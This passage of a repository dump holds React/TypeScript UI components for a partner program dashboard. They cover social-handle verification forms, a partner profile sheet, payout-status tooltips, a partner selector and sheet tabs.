[setValue],\n    );\n\n    const onPasteSocial = useCallback(\n      (e: React.ClipboardEvent<HTMLInputElement>, platform: PlatformType) => {\n        const text = e.clipboardData.getData(\"text/plain\");\n        const sanitized = sanitizeSocialHandle(text, platform);\n\n        if (sanitized) {\n          setValue(platform, sanitized);\n          e.preventDefault();\n        }\n      },\n      [setValue],\n    );\n\n    return (\n      <>\n        {domainVerificationData && (\n          <DomainVerificationModal\n            domain={domainVerificationData.domain}\n            txtRecord={domainVerificationData.txtRecord}\n            showDomainVerificationModal={domainVerificationData !== null}\n            setShowDomainVerificationModal={() =>\n              setDomainVerificationData(null)\n            }\n          />\n        )}\n\n        {socialVerificationData && (\n          <SocialVerificationByCodeModal\n            platform={socialVerificationData.platform}\n            handle={socialVerificationData.handle}\n            verificationCode={socialVerificationData.verificationCode}\n            showSocialVerificationModal={socialVerificationData !== null}\n            setShowSocialVerificationModal={(show) => {\n              if (!show) setSocialVerificationData(null);\n            }}\n          />\n        )}\n\n        <FormProvider {...form}>\n          <form\n            ref={ref}\n            onSubmit={handleSubmit(async (data) => {\n              const result = await executeAsync(data);\n              if (result) onSubmitSuccessful?.();\n            })}\n          >\n            <div\n              className={cn(\n                \"flex w-full flex-col gap-6 text-left\",\n                variant === \"settings\" && \"gap-4\",\n              )}\n            >\n              <FormRow\n                label=\"Website\"\n                property=\"website\"\n                icon={Globe}\n                disabled={disabled}\n                onVerifyClick={async () => {\n                  const website = getValues(\"website\");\n\n                  if (website) {\n                    await startSocialVerification({\n                      platform: \"website\",\n                      handle: website,\n                      source: variant,\n                    });\n                  }\n\n                  return isStartingSocialVerification;\n                }}\n                input={\n                  <input\n                    type=\"text\"\n                    disabled={disabled}\n                    className={cn(\n                      \"block w-full rounded-md focus:outline-none sm:text-sm\",\n                      disabled &&\n                        \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                      errors.website\n                        ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                        : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                    )}\n                    placeholder=\"example.com\"\n                    onPaste={onPasteWebsite}\n                    {...register(\"website\")}\n                  />\n                }\n                variant={variant}\n              />\n\n              <FormRow\n                label=\"YouTube\"\n                property=\"youtube\"\n                prefix=\"@\"\n                icon={YouTube}\n                disabled={disabled}\n                onVerifyClick={async () => {\n                  const handle = getValues(\"youtube\");\n\n                  if (handle) {\n                    await startSocialVerification({\n                      platform: \"youtube\",\n                      handle,\n                      source: variant,\n                    });\n                  }\n\n                  return isStartingSocialVerification;\n                }}\n                input={\n                  <div className=\"flex rounded-md\">\n                    <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                      youtube.com\n                    </span>\n                    <span className=\"absolute inset-y-0 left-[6.7rem] flex items-center pl-3 text-sm text-neutral-400\">\n                      @\n                    </span>\n                    <input\n                      type=\"text\"\n                      disabled={disabled}\n                      className={cn(\n                        \"block w-full rounded-none rounded-r-md pl-7 focus:outline-none sm:text-sm\",\n                        disabled &&\n                          \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                        errors.youtube\n                          ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                          : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                      )}\n                      placeholder=\"handle\"\n                      onPaste={(e) => onPasteSocial(e, \"youtube\")}\n                      {...register(\"youtube\")}\n                    />\n                  </div>\n                }\n                variant={variant}\n              />\n\n              <FormRow\n                label=\"X/Twitter\"\n                property=\"twitter\"\n                prefix=\"@\"\n                icon={Twitter}\n                disabled={disabled}\n                onVerifyClick={async () => {\n                  const handle = getValues(\"twitter\");\n\n                  if (handle) {\n                    await startSocialVerification({\n                      platform: \"twitter\",\n                      handle,\n                      source: variant,\n                    });\n                  }\n\n                  return isStartingSocialVerification;\n                }}\n                input={\n                  <div className=\"flex rounded-md\">\n                    <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                      x.com\n                    </span>\n                    <input\n                      type=\"text\"\n                      disabled={disabled}\n                      className={cn(\n                        \"block w-full rounded-none rounded-r-md focus:outline-none sm:text-sm\",\n                        disabled &&\n                          \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                        errors.twitter\n                          ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                          : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                      )}\n                      placeholder=\"handle\"\n                      onPaste={(e) => onPasteSocial(e, \"twitter\")}\n                      {...register(\"twitter\")}\n                    />\n                  </div>\n                }\n                variant={variant}\n              />\n\n              <FormRow\n                label=\"Instagram\"\n                property=\"instagram\"\n                prefix=\"@\"\n                icon={Instagram}\n                disabled={disabled}\n                onVerifyClick={async () => {\n                  const handle = getValues(\"instagram\");\n\n                  if (handle) {\n                    await startSocialVerification({\n                      platform: \"instagram\",\n                      handle,\n                      source: variant,\n                    });\n                  }\n\n                  return isStartingSocialVerification;\n                }}\n                input={\n                  <div className=\"flex rounded-md\">\n                    <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                      instagram.com\n                    </span>\n                    <input\n                      type=\"text\"\n                      disabled={disabled}\n                      className={cn(\n                        \"block w-full rounded-none rounded-r-md focus:outline-none sm:text-sm\",\n                        disabled &&\n                          \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                        errors.instagram\n                          ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                          : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                      )}\n                      placeholder=\"handle\"\n                      onPaste={(e) => onPasteSocial(e, \"instagram\")}\n                      {...register(\"instagram\")}\n                    />\n                  </div>\n                }\n                variant={variant}\n              />\n\n              <FormRow\n                label=\"TikTok\"\n                property=\"tiktok\"\n                prefix=\"@\"\n                icon={TikTok}\n                disabled={disabled}\n                onVerifyClick={async () => {\n                  const handle = getValues(\"tiktok\");\n\n                  if (handle) {\n                    await startSocialVerification({\n                      platform: \"tiktok\",\n                      handle,\n                      source: variant,\n                    });\n                  }\n\n                  return isStartingSocialVerification;\n                }}\n                input={\n                  <div className=\"flex rounded-md\">\n                    <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                      tiktok.com\n                    </span>\n                    <span className=\"absolute inset-y-0 left-[5.7rem] flex items-center pl-3 text-sm text-neutral-400\">\n                      @\n                    </span>\n                    <input\n                      type=\"text\"\n                      disabled={disabled}\n                      className={cn(\n                        \"block w-full rounded-none rounded-r-md pl-7 focus:outline-none sm:text-sm\",\n                        disabled &&\n                          \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                        errors.tiktok\n                          ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                          : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                      )}\n                      placeholder=\"handle\"\n                      onPaste={(e) => onPasteSocial(e, \"tiktok\")}\n                      {...register(\"tiktok\")}\n                    />\n                  </div>\n                }\n                variant={variant}\n              />\n\n              <FormRow\n                label=\"LinkedIn\"\n                property=\"linkedin\"\n                prefix=\"in/\"\n                icon={LinkedIn}\n                disabled={disabled}\n                onVerifyClick={async () => {\n                  const handle = getValues(\"linkedin\");\n\n                  if (handle) {\n                    await startSocialVerification({\n                      platform: \"linkedin\",\n                      handle,\n                      source: variant,\n                    });\n                  }\n\n                  return isStartingSocialVerification;\n                }}\n                input={\n                  <div className=\"flex rounded-md\">\n                    <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                      linkedin.com/in\n                    </span>\n                    <input\n                      type=\"text\"\n                      disabled={disabled}\n                      className={cn(\n                        \"block w-full rounded-none rounded-r-md focus:outline-none sm:text-sm\",\n                        disabled &&\n                          \"cursor-not-allowed bg-neutral-50 text-neutral-400\",\n                        errors.linkedin\n                          ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                          : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                      )}\n                      placeholder=\"handle\"\n                      onPaste={(e) => onPasteSocial(e, \"linkedin\")}\n                      {...register(\"linkedin\")}\n                    />\n                  </div>\n                }\n                variant={variant}\n              />\n            </div>\n\n            {variant === \"onboarding\" && (\n              <Button\n                type=\"submit\"\n                text=\"Continue\"\n                className=\"mt-6\"\n                disabled={disabled}\n                loading={isSubmitting || isSubmitSuccessful}\n              />\n            )}\n          </form>\n        </FormProvider>\n      </>\n    );\n  },\n);\n\nfunction useVerifiedState({\n  property,\n}: {\n  property: keyof PartnerPlatformsFormData;\n}) {\n  const { partner: partnerProfile } = usePartnerProfile();\n\n  const { watch, getFieldState } = useFormContext<PartnerPlatformsFormData>();\n\n  const value = watch(property);\n  const isValid = !!value && !getFieldState(property).invalid;\n\n  const loading = !partnerProfile && isValid;\n\n  // Map form property to PlatformType enum\n  const platformMap: Record<keyof PartnerPlatformsFormData, PlatformType> = {\n    website: \"website\",\n    youtube: \"youtube\",\n    twitter: \"twitter\",\n    linkedin: \"linkedin\",\n    instagram: \"instagram\",\n    tiktok: \"tiktok\",\n  };\n\n  const platform = platformMap[property];\n  const currentHandle = getPlatformIdentifier(partnerProfile, platform);\n\n  const noChange =\n    property === \"website\"\n      ? getPrettyUrl(currentHandle ?? \"\") === getPrettyUrl(value ?? \"\")\n      : currentHandle === value;\n\n  const platformData = getPlatformData(partnerProfile?.platforms, platform);\n  const isVerified = noChange && Boolean(platformData?.verifiedAt);\n\n  return {\n    isVerified,\n    loading,\n  };\n}\n\nfunction VerifyButton({\n  property,\n  icon: Icon,\n  onClick,\n  disabledTooltip,\n  disabled: formDisabled = false,\n}: {\n  property: keyof PartnerPlatformsFormData;\n  icon: Icon;\n  onClick: () => Promise<boolean>;\n  disabledTooltip?: string;\n  disabled?: boolean;\n}) {\n  const { control, getFieldState } = useFormContext<PartnerPlatformsFormData>();\n  const value = useWatch({ control, name: property });\n\n  const { isVerified, loading } = useVerifiedState({\n    property,\n  });\n\n  const [isSaving, setIsSaving] = useState(false);\n\n  return (\n    <Button\n      className={cn(\n        \"absolute right-1.5 top-1/2 h-7 w-fit -translate-y-1/2 px-2.5\",\n        isVerified && \"border-green-100 bg-green-100 text-green-700\",\n      )}\n      variant=\"secondary\"\n      text={isVerified ? \"Verified\" : \"Verify\"}\n      icon={\n        isVerified ? (\n          <CircleCheckFill className=\"size-4 text-green-700\" />\n        ) : (\n          <Icon className=\"size-3.5\" />\n        )\n      }\n      loading={isSaving || loading}\n      disabled={\n        formDisabled || !value || getFieldState(property).invalid || isVerified\n      }\n      onClick={async () => {\n        if (formDisabled) return;\n        setIsSaving(true);\n        const redirecting = await onClick();\n\n        if (!redirecting) setIsSaving(false);\n      }}\n      {...(disabledTooltip && {\n        disabledTooltip,\n      })}\n    />\n  );\n}\n\nfunction FormRow({\n  label,\n  input,\n  property,\n  prefix,\n  icon: Icon,\n  onVerifyClick,\n  verifyDisabledTooltip,\n  variant,\n  disabled = false,\n}: {\n  label: string;\n  input: ReactNode;\n  property: keyof PartnerPlatformsFormData;\n  prefix?: string;\n  icon: Icon;\n  onVerifyClick: () => Promise<boolean>;\n  verifyDisabledTooltip?: string;\n  variant: \"onboarding\" | \"settings\";\n  disabled?: boolean;\n}) {\n  const { partner } = usePartnerProfile();\n  const { control, setValue } = useFormContext<PartnerPlatformsFormData>();\n  const value = useWatch({ control, name: property });\n\n  const { isVerified } = useVerifiedState({ property });\n\n  const info = useMemo(() => {\n    if (partner && isVerified) {\n      // Type assertion for platforms array that exists at runtime but not in type\n      const partnerWithPlatforms = partner as typeof partner & {\n        platforms?: PartnerPlatformProps[];\n      };\n\n      if (property === \"youtube\") {\n        const youtubePlatform = getPlatformData(\n          partnerWithPlatforms.platforms,\n          \"youtube\",\n        );\n        const subscribers = youtubePlatform?.subscribers ?? 0;\n        const views = youtubePlatform?.views ?? 0;\n\n        return [\n          subscribers > 0\n            ? `${nFormatter(Number(subscribers))} subscribers`\n            : null,\n          views > 0 ? `${nFormatter(Number(views))} views` : null,\n        ].filter(Boolean) as string[];\n      }\n\n      if (property === \"instagram\") {\n        const instagramPlatform = getPlatformData(\n          partnerWithPlatforms.platforms,\n          \"instagram\",\n        );\n        const subscribers = instagramPlatform?.subscribers ?? 0;\n        const posts = instagramPlatform?.posts ?? 0;\n\n        return [\n          subscribers > 0\n            ? `${nFormatter(Number(subscribers))} followers`\n            : null,\n          posts > 0 ? `${nFormatter(Number(posts))} posts` : null,\n        ].filter(Boolean) as string[];\n      }\n\n      if (property === \"tiktok\") {\n        const tiktokPlatform = getPlatformData(\n          partnerWithPlatforms.platforms,\n          \"tiktok\",\n        );\n        const subscribers = tiktokPlatform?.subscribers ?? 0;\n        const posts = tiktokPlatform?.posts ?? 0;\n\n        return [\n          subscribers > 0\n            ? `${nFormatter(Number(subscribers))} followers`\n            : null,\n          posts > 0 ? `${nFormatter(Number(posts))} posts` : null,\n        ].filter(Boolean) as string[];\n      }\n\n      if (property === \"twitter\") {\n        const twitterPlatform = getPlatformData(\n          partnerWithPlatforms.platforms,\n          \"twitter\",\n        );\n        const subscribers = twitterPlatform?.subscribers ?? 0;\n        const posts = twitterPlatform?.posts ?? 0;\n\n        return [\n          subscribers > 0\n            ? `${nFormatter(Number(subscribers))} followers`\n            : null,\n          posts > 0 ? `${nFormatter(Number(posts))} tweets` : null,\n        ].filter(Boolean) as string[];\n      }\n\n      if (property === \"linkedin\") {\n        const linkedinPlatform = getPlatformData(\n          partnerWithPlatforms.platforms,\n          \"linkedin\",\n        );\n\n        const subscribers = linkedinPlatform?.subscribers ?? 0;\n\n        return [\n          subscribers > 0\n            ? `${nFormatter(Number(subscribers))} followers`\n            : null,\n        ].filter(Boolean) as string[];\n      }\n    }\n    return null;\n  }, [partner, property, isVerified]);\n\n  return (\n    <div className=\"-m-0.5\">\n      <AnimatedSizeContainer\n        height\n        initial={false}\n        transition={{ duration: 0.2, ease: \"easeInOut\" }}\n      >\n        <div className=\"p-0.5\">\n          {isVerified ? (\n            <div className=\"flex flex-col gap-1.5\">\n              <span\n                className={cn(\n                  \"text-content-emphasis text-sm font-medium\",\n                  variant === \"settings\" && \"sr-only\",\n                )}\n              >\n                {label}\n              </span>\n              <PartnerPlatformCard\n                icon={Icon}\n                prefix={prefix}\n                value={value ?? \"\"}\n                verified\n                info={info ?? undefined}\n                onRemove={() => setValue(property, null, { shouldDirty: true })}\n              />\n            </div>\n          ) : (\n            <label className={cn(\"flex flex-col gap-1.5\")}>\n              <span\n                className={cn(\n                  \"text-content-emphasis text-sm font-medium\",\n                  variant === \"settings\" && \"sr-only\",\n                )}\n              >\n                {label}\n              </span>\n              <div className={cn(\"relative\")}>\n                {input}\n                <VerifyButton\n                  property={property}\n                  icon={Icon}\n                  onClick={onVerifyClick}\n                  disabledTooltip={verifyDisabledTooltip}\n                  disabled={disabled}\n                />\n              </div>\n            </label>\n          )}\n        </div>\n      </AnimatedSizeContainer>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-profile-sheet.tsx",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Sheet } from \"@dub/ui\";\nimport { Dispatch, SetStateAction } from \"react\";\nimport { PartnerAbout } from \"./partner-about\";\nimport { PartnerApplicationDetails } from \"./partner-application-details\";\n\ntype PartnerProfileSheetProps = {\n  partner: EnrolledPartnerProps;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction PartnerProfileSheetContent({ partner }: PartnerProfileSheetProps) {\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          Partner profile\n        </Sheet.Title>\n        <div className=\"flex items-center gap-4\">\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"scrollbar-hide min-h-0 overflow-y-auto p-4 sm:p-6\">\n        <div className=\"grid grid-cols-1 gap-6 text-sm text-neutral-600\">\n          <h3 className=\"text-content-emphasis text-lg font-semibold\">About</h3>\n          <PartnerAbout partner={partner} />\n\n          {partner.applicationId && (\n            <div className=\"border-border-subtle border-t pt-6\">\n              <h3 className=\"text-content-emphasis mb-6 text-lg font-semibold\">\n                Application\n              </h3>\n              <PartnerApplicationDetails\n                applicationId={partner.applicationId}\n              />\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PartnerProfileSheet({\n  isOpen,\n  nested,\n  ...rest\n}: PartnerProfileSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen} nested={nested}>\n      <PartnerProfileSheetContent {...rest} />\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-row-item.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { CircleArrowRight, DynamicTooltipWrapper, GreekTemple } from \"@dub/ui\";\nimport { cn, formatDateTimeSmart } from \"@dub/utils\";\nimport { CircleMinus } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { PartnerFraudIndicator } from \"./fraud-risks/partner-fraud-indicator\";\nimport { PartnerAvatar } from \"./partner-avatar\";\nimport {\n  getPayoutMethodIconConfig,\n  getPayoutMethodLabel,\n} from \"./payouts/payout-method-config\";\n\ninterface PartnerRowItemProps {\n  showPermalink?: boolean;\n  showFraudIndicator?: boolean;\n  partner: {\n    id: string;\n    name: string;\n    image?: string | null;\n    defaultPayoutMethod?: PartnerPayoutMethod | null;\n    payoutsEnabledAt?: Date | null;\n  };\n}\n\nconst PAYOUT_STATUS_CONFIG = {\n  external: {\n    title: \"External payouts enabled\",\n    description: (\n      <div className=\"text-sm text-neutral-700\">\n        This program has external payouts enabled, which means partners will\n        receive payouts externally via the{\" \"}\n        <code className=\"rounded-md bg-neutral-100 px-1 py-0.5 font-mono\">\n          payout.confirmed\n        </code>{\" \"}\n        <a\n          href=\"/settings/webhooks\"\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"cursor-alias underline decoration-dotted underline-offset-2\"\n        >\n          webhook event.\n        </a>\n      </div>\n    ),\n    icon: CircleArrowRight,\n    iconClassName: \"border-purple-300 bg-purple-200 text-purple-800\",\n    indicatorColor: \"bg-purple-500\",\n  },\n  enabled: {\n    title: \"Payouts enabled\",\n    description:\n      \"This partner has connected a payout method, which means they will be able to receive payouts.\",\n    icon: GreekTemple,\n    iconClassName: \"border-green-300 bg-green-200 text-green-800\",\n    indicatorColor: \"bg-green-500\",\n  },\n  disabled: {\n    title: \"Payouts disabled\",\n    description:\n      \"This partner has not connected a payout method yet, which means they won't be able to receive payouts.\",\n    icon: CircleMinus,\n    iconClassName: \"border-red-300 bg-red-200 text-red-800\",\n    indicatorColor: \"bg-red-500\",\n  },\n} as const;\n\nfunction usePartnerPayoutStatus(partner: PartnerRowItemProps[\"partner\"]) {\n  const { program } = useProgram();\n\n  const showPayoutsEnabled = \"payoutsEnabledAt\" in partner;\n\n  const isExternalPayoutEnabled =\n    showPayoutsEnabled &&\n    (() => {\n      switch (program?.payoutMode) {\n        case \"external\":\n          return true;\n        case \"hybrid\":\n          return partner.payoutsEnabledAt === null;\n        case \"internal\":\n          return false;\n        default:\n          return false;\n      }\n    })();\n\n  const statusKey: keyof typeof PAYOUT_STATUS_CONFIG | null = showPayoutsEnabled\n    ? isExternalPayoutEnabled\n      ? \"external\"\n      : partner.payoutsEnabledAt\n        ? \"enabled\"\n        : \"disabled\"\n    : null;\n\n  return {\n    statusKey,\n    showPayoutsEnabled,\n  };\n}\n\nfunction PartnerPayoutStatusTooltip({\n  statusKey,\n  partner,\n}: {\n  statusKey: keyof typeof PAYOUT_STATUS_CONFIG | null;\n  partner: PartnerRowItemProps[\"partner\"];\n}) {\n  if (!statusKey) return null;\n\n  const {\n    title,\n    description,\n    icon: Icon,\n    iconClassName,\n  } = PAYOUT_STATUS_CONFIG[statusKey];\n\n  const hasPayoutDetails =\n    statusKey === \"enabled\" &&\n    partner.payoutsEnabledAt &&\n    partner.defaultPayoutMethod;\n\n  const { Icon: MethodIcon, wrapperClass: methodWrapperClass } =\n    hasPayoutDetails\n      ? getPayoutMethodIconConfig(partner.defaultPayoutMethod!)\n      : { Icon: GreekTemple, wrapperClass: \"\" };\n\n  return (\n    <div className=\"max-w-xs\">\n      <div className=\"grid gap-2 p-2.5\">\n        <div className=\"flex items-center gap-2 text-sm font-medium\">\n          {title}\n          <div\n            className={cn(\n              iconClassName,\n              \"flex size-5 items-center justify-center rounded-md border\",\n            )}\n          >\n            <Icon className=\"size-3\" />\n          </div>\n        </div>\n        <div className=\"text-pretty text-sm text-neutral-500\">\n          {description}\n        </div>\n      </div>\n      {hasPayoutDetails && (\n        <div className=\"flex items-center gap-1.5 border-t border-neutral-100 p-2.5 text-xs text-neutral-600\">\n          <div\n            className={cn(\n              \"flex size-5 shrink-0 items-center justify-center rounded-md border\",\n              methodWrapperClass,\n            )}\n          >\n            <MethodIcon className=\"size-3\" />\n          </div>\n          <span>\n            {getPayoutMethodLabel(partner.defaultPayoutMethod!)} · Connected{\" \"}\n            {formatDateTimeSmart(partner.payoutsEnabledAt!)}\n          </span>\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport function PartnerRowItem({\n  partner,\n  showPermalink = true,\n  showFraudIndicator = true,\n}: PartnerRowItemProps) {\n  const { slug } = useParams();\n  const { statusKey, showPayoutsEnabled } = usePartnerPayoutStatus(partner);\n\n  const As = showPermalink ? Link : \"div\";\n\n  return (\n    <div className=\"flex min-w-0 items-center gap-2\">\n      <div className=\"shrink-0\">\n        <DynamicTooltipWrapper\n          tooltipProps={\n            statusKey\n              ? {\n                  content: (\n                    <PartnerPayoutStatusTooltip\n                      statusKey={statusKey}\n                      partner={partner}\n                    />\n                  ),\n                }\n              : undefined\n          }\n        >\n          <div className=\"relative shrink-0\">\n            <PartnerAvatar partner={partner} className=\"size-5\" />\n            {showPayoutsEnabled && statusKey && (\n              <div\n                className={cn(\n                  \"absolute -bottom-0.5 -right-0.5 size-2 rounded-full\",\n                  PAYOUT_STATUS_CONFIG[statusKey].indicatorColor,\n                )}\n              />\n            )}\n          </div>\n        </DynamicTooltipWrapper>\n      </div>\n\n      <As\n        href={`/${slug}/program/partners/${partner.id}`}\n        {...(showPermalink && { target: \"_blank\" })}\n        onClick={showPermalink ? (e) => e.stopPropagation() : undefined}\n        onAuxClick={showPermalink ? (e) => e.stopPropagation() : undefined}\n        className={cn(\n          \"min-w-0 truncate\",\n          showPermalink && \"cursor-alias decoration-dotted hover:underline\",\n        )}\n        title={partner.name}\n      >\n        {partner.name}\n      </As>\n\n      {showFraudIndicator && <PartnerFraudIndicator partnerId={partner.id} />}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-selector.tsx",
    "content": "import usePartners from \"@/lib/swr/use-partners\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { PARTNERS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/partners\";\nimport { Combobox, ComboboxProps } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport { PartnerAvatar } from \"./partner-avatar\";\n\nexport type Partner = Pick<PartnerProps, \"id\" | \"name\">;\n\ntype PartnerSelectorProps = {\n  selectedPartnerId: string | null;\n  setSelectedPartnerId: (partnerId: string) => void;\n  disabled?: boolean;\n  variant?: \"default\" | \"header\";\n} & Partial<ComboboxProps<false, any>>;\n\nexport function PartnerSelector({\n  selectedPartnerId,\n  setSelectedPartnerId,\n  disabled,\n  variant = \"default\",\n  ...rest\n}: PartnerSelectorProps) {\n  const [search, setSearch] = useState(\"\");\n  const [useAsync, setUseAsync] = useState(false);\n  const [debouncedSearch] = useDebounce(search, 500);\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { partners, loading } = usePartners({\n    query: useAsync ? { search: debouncedSearch } : undefined,\n  });\n\n  const { partners: selectedPartners, loading: selectedPartnersLoading } =\n    usePartners({\n      query: selectedPartnerId\n        ? { partnerIds: [selectedPartnerId] }\n        : undefined,\n    });\n\n  useEffect(() => {\n    if (partners && !useAsync && partners.length >= PARTNERS_MAX_PAGE_SIZE) {\n      setUseAsync(true);\n    }\n  }, [partners, useAsync]);\n\n  const partnerOptions = useMemo(() => {\n    return partners?.map((partner) => ({\n      value: partner.id,\n      label: partner.name,\n      icon: <PartnerAvatar partner={partner} className=\"size-4\" />,\n    }));\n  }, [partners]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedPartnerId) return null;\n\n    const partner = [...(partners || []), ...(selectedPartners || [])].find(\n      (p) => p.id === selectedPartnerId,\n    );\n\n    if (!partner) return null;\n\n    return {\n      value: partner.id,\n      label: partner.name,\n      icon: <PartnerAvatar partner={partner} className=\"size-4\" />,\n    };\n  }, [partners, selectedPartners, selectedPartnerId]);\n\n  return (\n    <Combobox\n      options={loading ? undefined : partnerOptions}\n      setSelected={(option) => {\n        if (!option) return;\n        setSelectedPartnerId(option.value);\n      }}\n      selected={selectedOption}\n      icon={\n        variant === \"header\" && !selectedOption?.icon ? (\n          <div className=\"size-5 flex-none animate-pulse rounded-full bg-neutral-200\" />\n        ) : (\n          selectedOption?.icon\n        )\n      }\n      caret={true}\n      placeholder={variant === \"header\" ? \"\" : \"Select partner\"}\n      searchPlaceholder=\"Search partners...\"\n      onSearchChange={setSearch}\n      shouldFilter={!useAsync}\n      matchTriggerWidth\n      open={openPopover}\n      onOpenChange={setOpenPopover}\n      {...(variant === \"header\"\n        ? {\n            popoverProps: {\n              contentClassName: \"min-w-[280px]\",\n            },\n            labelProps: {\n              className: \"text-lg font-semibold leading-7 text-neutral-900\",\n            },\n            iconProps: {\n              className: \"size-6\",\n            },\n            buttonProps: {\n              disabled,\n              className:\n                \"w-full justify-start px-2 py-1 h-8 transition-none max-md:bg-bg-subtle hover:bg-bg-subtle md:hover:bg-subtle border-none rounded-lg\",\n            },\n          }\n        : {\n            buttonProps: {\n              disabled,\n              className: cn(\n                \"w-full justify-start border-neutral-300 px-3\",\n                \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n              ),\n            },\n          })}\n      {...rest}\n    >\n      {variant === \"header\" && !selectedOption?.label ? (\n        <div className=\"h-6 w-[120px] animate-pulse rounded bg-neutral-100\" />\n      ) : (\n        selectedOption?.label\n      )}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-sheet-tabs.tsx",
    "content": "import { usePartnerCommentsCount } from \"@/lib/swr/use-partner-comments-count\";\nimport { Msg, User } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { LayoutGroup, motion } from \"motion/react\";\nimport { Dispatch, SetStateAction, useId, useMemo } from \"react\";\n\nexport function PartnerSheetTabs({\n  partnerId,\n  currentTabId,\n  setCurrentTabId,\n}: {\n  partnerId: string;\n  currentTabId: string;\n  setCurrentTabId: Dispatch<SetStateAction<string>>;\n}) {\n  const { count: commentsCount } = usePartnerCommentsCount(\n    {\n      partnerId,\n    },\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const tabs = useMemo(\n    () => [\n      {\n        id: \"about\",\n        label: \"About\",\n        icon: User,\n      },\n      {\n        id: \"comments\",\n        label: \"Comments\",\n        badge: commentsCount\n          ? commentsCount > 99\n            ? \"99+\"\n            : commentsCount\n          : undefined,\n        icon: Msg,\n      },\n    ],\n    [commentsCount],\n  );\n\n  const layoutGroupId = useId();\n\n  return (\n    <div className=\"scrollbar-hide relative z-0 flex items-center justify-between gap-1 overflow-x-auto p-2\">\n      <LayoutGroup id={layoutGroupId}>\n        <div className=\"relative z-0 inline-flex items-center gap-1\">\n          {tabs.map(({ id, label, icon: Icon, badge }) => {\n            const isSelected = id === currentTabId;\n            return (\n              <button\n                key={id}\n                type=\"button\"\n                onClick={() => setCurrentTabId(id)}\n                data-selected={isSelected}\n                className={cn(\n                  \"text-content-emphasis relative z-10 flex items-center gap-2 px-2.5 py-1 text-sm font-medium\",\n                  !isSelected &&\n                    \"hover:text-content-subtle z-[11] transition-colors\",\n                  badge && \"pr-1\",\n                )}\n              >\n                <Icon className=\"size-4\" />\n                <span>{label}</span>\n                {badge && (\n                  <span className=\"rounded-md bg-blue-600 px-2 py-0.5 text-xs font-semibold text-white\">\n                    {badge}\n                  </span>\n                )}\n                {isSelected && (\n                  <motion.div\n                    layoutId={layoutGroupId}\n                    className={cn(\n                      \"border-border-subtle bg-bg-default absolute left-0 top-0 -z-[1] size-full 